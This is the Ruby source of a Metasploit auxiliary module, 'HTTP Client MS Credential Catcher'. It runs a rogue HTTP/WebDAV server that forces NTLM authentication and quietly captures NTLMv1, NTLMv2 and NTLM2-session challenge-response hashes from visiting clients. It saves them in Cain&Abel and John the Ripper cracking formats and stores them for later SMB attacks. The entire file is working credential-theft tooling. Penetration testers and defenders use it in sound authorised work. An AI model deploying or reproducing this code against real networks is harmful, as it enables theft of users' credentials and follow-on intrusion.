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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/message'
require 'rex/proto/ntlm/crypt'
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client MS Credential Catcher',
'Description' => %q{
This module attempts to quietly catch NTLM/LM Challenge hashes.
},
'Author' =>
[
'Ryan Linn <sussurro[at]happypacket.net>',
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'WebServer' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options([
#OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
])
register_advanced_options([
OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]),
OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]),
OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]),
OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]),
OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false])
])
end
def on_request_uri(cli, request)
vprint_status("Request '#{request.uri}'")
case request.method
when 'OPTIONS'
process_options(cli, request)
else
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
vprint_status("401 '#{request.uri}'")
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli.send_response(response)
else
vprint_status("Continuing auth '#{request.uri}'")
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
response = handle_auth(cli,hash)
cli.send_response(response)
end
end
end
def run
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
else
print_error("CHALLENGE syntax must match 1122334455667788")
return
end
exploit()
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def handle_auth(cli,hash)
# authorization string is base64 encoded message
message = Rex::Text.decode_base64(hash)
if(message[8,1] == "\x01")
domain = datastore['DOMAIN']
server = datastore['SERVER']
dnsname = datastore['DNSNAME']
dnsdomain = datastore['DNSDOMAIN']
if(!datastore['FORCEDEFAULT'])
dom,ws = parse_type1_domain(message)
if(dom)
domain = dom
end
if(ws)
server = ws
end
end
response = create_response(401, "Unauthorized")
chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
response.headers['WWW-Authenticate'] = "NTLM " + chalhash
return response
# if the message is a type 3 message, then we have our creds
elsif(message[8,1] == "\x03")
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash)
nt_len = ntlm_hash.length
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => lm_hash,
:nt_hash => ntlm_hash
}
if arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
# if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 48 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => lm_hash[0, 32],
:lm_cli_challenge => lm_hash[32, 16],
:nt_hash => ntlm_hash[0, 32],
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
}
elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ")
else
print_status("Unknown hash type from #{host}, ignoring ...")
end
# If we get an empty hash, or unknown hash type, arg is not set.
# So why try to read from it?
if not arg.nil?
arg[:host] = host
arg[:user] = user
arg[:domain] = domain
arg[:ip] = cli.peerhost
html_get_hash(arg)
end
response = create_response(200)
response.headers['Cache-Control'] = "no-cache"
return response
else
response = create_response(200)
response.headers['Cache-Control'] = "no-cache"
return response
end
end
def parse_type1_domain(message)
domain = nil
workstation = nil
reqflags = message[12,4]
reqflags = reqflags.unpack("V").first
if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN)
dom_len = message[16,2].unpack('v')[0].to_i
dom_off = message[20,2].unpack('v')[0].to_i
domain = message[dom_off,dom_len].to_s
end
if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION)
wor_len = message[24,2].unpack('v')[0].to_i
wor_off = message[28,2].unpack('v')[0].to_i
workstation = message[wor_off,wor_len].to_s
end
return domain,workstation
end
def html_get_hash(arg = {})
ntlm_ver = arg[:ntlm_ver]
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
else
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
end
domain = arg[:domain]
user = arg[:user]
host = arg[:host]
ip = arg[:ip]
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
@previous_lm_hash = lm_hash
@previous_ntlm_hash = nt_hash
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
return
end
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
lm_hash_message = "Disabled"
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_V2_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [nt_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(user),
:domain => Rex::Text::to_ascii(domain),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
return
end
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = "Disabled"
lm_chall_message = 'Disabled'
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(user),
:domain => Rex::Text::to_ascii(domain),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
lm_chall_message = 'Disabled'
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_hash].pack("H*")[0,8],
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
return
end
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
# Display messages
domain = Rex::Text::to_ascii(domain)
user = Rex::Text::to_ascii(user)
capturedtime = Time.now.to_s
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
when NTLM_CONST::NTLM_V2_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
# we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
# also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
capturelogmessage =
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
else # should not happen
return
end
print_status(capturelogmessage)
# DB reporting
# Rem : one report it as a smb_challenge on port 445 has breaking those hashes
# will be mainly use for psexec / smb related exploit
opts_report = {
ip: ip,
user: user,
domain: domain,
ntlm_ver: ntlm_ver,
lm_hash: lm_hash,
nt_hash: nt_hash
}
opts_report.merge!(lm_cli_challenge: lm_cli_challenge) if lm_cli_challenge
opts_report.merge!(nt_cli_challenge: nt_cli_challenge) if nt_cli_challenge
report_creds(opts_report)
#if(datastore['LOGFILE'])
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
#end
if(datastore['CAINPWFILE'] and user)
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['CAINPWFILE'], "ab")
fd.puts(
[
user,
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
if(datastore['JOHNPWFILE'] and user)
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48,
@challenge.unpack("H*")[0]
].join(":").gsub(/\n/, "\\n")
)
fd.close
when NTLM_CONST::NTLM_V2_RESPONSE
#lmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 32,
lm_cli_challenge ? lm_cli_challenge : "0" * 16
].join(":").gsub(/\n/, "\\n")
)
fd.close
#ntlmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
nt_hash ? nt_hash : "0" * 32,
nt_cli_challenge ? nt_cli_challenge : "0" * 160
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
end
end
def report_creds(opts)
ip = opts[:ip] || rhost
user = opts[:user] || nil
domain = opts[:domain] || nil
ntlm_ver = opts[:ntlm_ver] || nil
lm_hash = opts[:lm_hash] || nil
nt_hash = opts[:nt_hash] || nil
lm_cli_challenge = opts[:lm_cli_challenge] || nil
nt_cli_challenge = opts[:nt_cli_challenge] || nil
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
hash = [
user, '',
domain ? domain : 'NULL',
lm_hash ? lm_hash : '0' * 48,
nt_hash ? nt_hash : '0' * 48,
@challenge.unpack('H*')[0]
].join(':').gsub(/\n/, '\\n')
report_hash(ip, user, 'netntlm', hash)
when NTLM_CONST::NTLM_V2_RESPONSE
hash = [
user, '',
domain ? domain : 'NULL',
@challenge.unpack('H*')[0],
lm_hash ? lm_hash : '0' * 32,
lm_cli_challenge ? lm_cli_challenge : '0' * 16
].join(':').gsub(/\n/, '\\n')
report_hash(ip, user, 'netlmv2', hash)
hash = [
user, '',
domain ? domain : 'NULL',
@challenge.unpack('H*')[0],
nt_hash ? nt_hash : '0' * 32,
nt_cli_challenge ? nt_cli_challenge : '0' * 160
].join(':').gsub(/\n/, '\\n')
report_hash(ip, user, 'netntlmv2', hash)
else
hash = domain + ':' +
( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : '00' * 24 ) + ':' +
( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : '00' * 24 ) + ':' +
datastore['CHALLENGE'].to_s
report_hash(ip, user, nil, hash)
end
end
def report_hash(ip, user, type_hash, hash)
service_data = {
address: ip,
port: 445,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
username: user
}.merge(service_data)
unless type_hash.nil?
credential_data.merge!(jtr_format: type_hash)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end